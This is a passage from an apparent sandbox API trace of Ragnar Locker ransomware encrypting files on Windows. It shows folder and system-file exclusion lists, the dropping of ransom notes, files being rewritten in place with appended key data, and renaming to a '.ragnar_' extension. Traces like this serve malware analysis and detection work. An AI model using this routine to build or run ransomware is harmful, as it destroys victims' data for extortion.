lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0071.483] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0071.483] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES", cAlternateFileName="")) returned 1 [0071.483] lstrcmpiW (lpString1="CAPSULES", lpString2=".") returned 1 [0071.483] lstrcmpiW (lpString1="CAPSULES", lpString2="..") returned 1 [0071.483] lstrcmpiW (lpString1="CAPSULES", lpString2="Windows") returned -1 [0071.483] lstrcmpiW (lpString1="CAPSULES", lpString2="Windows.old") returned -1 [0071.483] lstrcmpiW (lpString1="CAPSULES", lpString2="Tor browser") returned -1 [0071.483] lstrcmpiW (lpString1="CAPSULES", lpString2="Internet Explorer") returned -1 [0071.483] lstrcmpiW (lpString1="CAPSULES", lpString2="Google") returned -1 [0071.483] lstrcmpiW (lpString1="CAPSULES", lpString2="Opera") returned -1 [0071.483] lstrcmpiW (lpString1="CAPSULES", lpString2="Opera Software") returned -1 [0071.483] lstrcmpiW (lpString1="CAPSULES", lpString2="Mozilla") returned -1 [0071.483] lstrcmpiW (lpString1="CAPSULES", lpString2="Mozilla Firefox") returned -1 [0071.483] lstrcmpiW (lpString1="CAPSULES", lpString2="$Recycle.Bin") returned 1 [0071.483] lstrcmpiW (lpString1="CAPSULES", lpString2="ProgramData") returned -1 [0071.483] lstrcmpiW (lpString1="CAPSULES", lpString2="All Users") returned 1 [0071.483] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3f [0071.483] lstrcpyW (in: lpString1=0x1eb638, lpString2="CAPSULES" | out: lpString1="CAPSULES") returned="CAPSULES" [0071.483] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\" [0071.483] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\" [0071.483] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\RGNR_FD7BD9FC.txt" [0071.483] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0071.485] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*.*" [0071.485] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0071.485] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0071.485] lstrcpyW (in: lpString1=0x1ea75e, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0071.485] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7cd8fa80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7cd8fa80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0071.485] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0071.485] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7cd8fa80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7cd8fa80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.486] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0071.486] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0071.486] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb88f00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb88f00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.ELM", cAlternateFileName="")) returned 1 [0071.486] lstrcmpiW (lpString1="CAPSULES.ELM", lpString2=".") returned 1 [0071.486] lstrcmpiW (lpString1="CAPSULES.ELM", lpString2="..") returned 1 [0071.486] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf86a7300, ftCreationTime.dwHighDateTime=0x1c47827, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf86a7300, ftLastWriteTime.dwHighDateTime=0x1c47827, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.INF", cAlternateFileName="")) returned 1 [0071.486] lstrcmpiW (lpString1="CAPSULES.INF", lpString2=".") returned 1 [0071.486] lstrcmpiW (lpString1="CAPSULES.INF", lpString2="..") returned 1 [0071.486] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0071.486] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2=".") returned 1 [0071.486] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="..") returned 1 [0071.486] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cd8fa80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x7cd8fa80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0071.486] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0071.486] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0071.486] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0071.486] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2=".") returned 1 [0071.486] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="..") returned 1 [0071.486] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0071.486] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0071.486] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7cd8fa80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7cd8fa80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0071.486] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7cd8fa80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x7cd8fa80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.486] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb88f00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb88f00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.ELM", cAlternateFileName="")) returned 1 [0071.486] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0071.486] lstrcpyW (in: lpString1=0x1eab72, lpString2="CAPSULES.ELM" | out: lpString1="CAPSULES.ELM") returned="CAPSULES.ELM" [0071.486] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM") returned=".ELM" [0071.486] lstrcmpiW (lpString1="CAPSULES.ELM", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0071.487] lstrcmpiW (lpString1="CAPSULES.ELM", lpString2="autorun.inf") returned 1 [0071.487] lstrcmpiW (lpString1="CAPSULES.ELM", lpString2="boot.ini") returned 1 [0071.487] lstrcmpiW (lpString1="CAPSULES.ELM", lpString2="bootfont.bin") returned 1 [0071.487] lstrcmpiW (lpString1="CAPSULES.ELM", lpString2="bootsect.bak") returned 1 [0071.487] lstrcmpiW (lpString1="CAPSULES.ELM", lpString2="bootmgr") returned 1 [0071.487] lstrcmpiW (lpString1="CAPSULES.ELM", lpString2="bootmgr.efi") returned 1 [0071.487] lstrcmpiW (lpString1="CAPSULES.ELM", lpString2="bootmgfw.efi") returned 1 [0071.487] lstrcmpiW (lpString1="CAPSULES.ELM", lpString2="desktop.ini") returned -1 [0071.487] lstrcmpiW (lpString1="CAPSULES.ELM", lpString2="iconcache.db") returned -1 [0071.487] lstrcmpiW (lpString1="CAPSULES.ELM", lpString2="ntldr") returned -1 [0071.487] lstrcmpiW (lpString1="CAPSULES.ELM", lpString2="ntuser.dat") returned -1 [0071.487] lstrcmpiW (lpString1="CAPSULES.ELM", lpString2="ntuser.dat.log") returned -1 [0071.487] lstrcmpiW (lpString1="CAPSULES.ELM", lpString2="ntuser.ini") returned -1 [0071.487] lstrcmpiW (lpString1="CAPSULES.ELM", lpString2="thumbs.db") returned -1 [0071.487] lstrcmpiW (lpString1=".ELM", lpString2=".db") returned 1 [0071.487] lstrcmpiW (lpString1=".ELM", lpString2=".sys") returned -1 [0071.487] lstrcmpiW (lpString1=".ELM", lpString2=".dll") returned 1 [0071.487] lstrcmpiW (lpString1=".ELM", lpString2=".lnk") returned -1 [0071.487] lstrcmpiW (lpString1=".ELM", lpString2=".msi") returned -1 [0071.487] lstrcmpiW (lpString1=".ELM", lpString2=".drv") returned 1 [0071.487] lstrcmpiW (lpString1=".ELM", lpString2=".exe") returned -1 [0071.487] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm")) returned 0x20 [0071.488] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0071.488] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=57786) returned 1 [0071.488] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe1b1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.488] GetProcessHeap () returned 0x580000 [0071.488] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0071.488] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0071.490] VirtualAlloc (lpAddress=0x0, dwSize=0xe1ba, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0071.490] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.490] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0071.490] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xe1ba, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0xe1ba, lpOverlapped=0x0) returned 1 [0071.492] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0071.492] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe1ba, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.492] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xe1ba, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0xe1ba, lpOverlapped=0x0) returned 1 [0071.492] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe1ba, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.493] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0071.493] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0xe1ba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.493] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.493] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.493] WriteFile (in: hFile=0x10c, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0071.493] WriteFile (in: hFile=0x10c, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0071.493] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.493] GetProcessHeap () returned 0x580000 [0071.493] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0071.493] CloseHandle (hObject=0x10c) returned 1 [0071.495] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" [0071.495] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM.ragnar_FD7BD9FC" [0071.495] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.ELM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.elm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0071.536] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf86a7300, ftCreationTime.dwHighDateTime=0x1c47827, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf86a7300, ftLastWriteTime.dwHighDateTime=0x1c47827, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.INF", cAlternateFileName="")) returned 1 [0071.536] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x48 [0071.536] lstrcpyW (in: lpString1=0x1eab72, lpString2="CAPSULES.INF" | out: lpString1="CAPSULES.INF") returned="CAPSULES.INF" [0071.536] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF") returned=".INF" [0071.536] lstrcmpiW (lpString1="CAPSULES.INF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0071.536] lstrcmpiW (lpString1="CAPSULES.INF", lpString2="autorun.inf") returned 1 [0071.536] lstrcmpiW (lpString1="CAPSULES.INF", lpString2="boot.ini") returned 1 [0071.537] lstrcmpiW (lpString1="CAPSULES.INF", lpString2="bootfont.bin") returned 1 [0071.537] lstrcmpiW (lpString1="CAPSULES.INF", lpString2="bootsect.bak") returned 1 [0071.537] lstrcmpiW (lpString1="CAPSULES.INF", lpString2="bootmgr") returned 1 [0071.537] lstrcmpiW (lpString1="CAPSULES.INF", lpString2="bootmgr.efi") returned 1 [0071.537] lstrcmpiW (lpString1="CAPSULES.INF", lpString2="bootmgfw.efi") returned 1 [0071.537] lstrcmpiW (lpString1="CAPSULES.INF", lpString2="desktop.ini") returned -1 [0071.537] lstrcmpiW (lpString1="CAPSULES.INF", lpString2="iconcache.db") returned -1 [0071.537] lstrcmpiW (lpString1="CAPSULES.INF", lpString2="ntldr") returned -1 [0071.537] lstrcmpiW (lpString1="CAPSULES.INF", lpString2="ntuser.dat") returned -1 [0071.537] lstrcmpiW (lpString1="CAPSULES.INF", lpString2="ntuser.dat.log") returned -1 [0071.537] lstrcmpiW (lpString1="CAPSULES.INF", lpString2="ntuser.ini") returned -1 [0071.537] lstrcmpiW (lpString1="CAPSULES.INF", lpString2="thumbs.db") returned -1 [0071.537] lstrcmpiW (lpString1=".INF", lpString2=".db") returned 1 [0071.537] lstrcmpiW (lpString1=".INF", lpString2=".sys") returned -1 [0071.537] lstrcmpiW (lpString1=".INF", lpString2=".dll") returned 1 [0071.537] lstrcmpiW (lpString1=".INF", lpString2=".lnk") returned -1 [0071.537] lstrcmpiW (lpString1=".INF", lpString2=".msi") returned -1 [0071.537] lstrcmpiW (lpString1=".INF", lpString2=".drv") returned 1 [0071.537] lstrcmpiW (lpString1=".INF", lpString2=".exe") returned 1 [0071.537] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf")) returned 0x20 [0071.537] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\CAPSULES.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\capsules.inf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x10c [0071.537] GetFileSizeEx (in: hFile=0x10c, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=501) returned 1 [0071.538] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x1ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.538] GetProcessHeap () returned 0x580000 [0071.538] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0071.538] ReadFile (in: hFile=0x10c, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0071.538] VirtualAlloc (lpAddress=0x0, dwSize=0x1f5, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0071.539] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.539] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0071.539] ReadFile (in: hFile=0x10c, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1f5, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x1f5, lpOverlapped=0x0) returned 1 [0071.539] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0071.539] LockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f5, nNumberOfBytesToLockHigh=0x0) returned 1 [0071.539] WriteFile (in: hFile=0x10c, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1f5, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x1f5, lpOverlapped=0x0) returned 1 [0071.539] UnlockFile (hFile=0x10c, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f5, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0071.539] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, 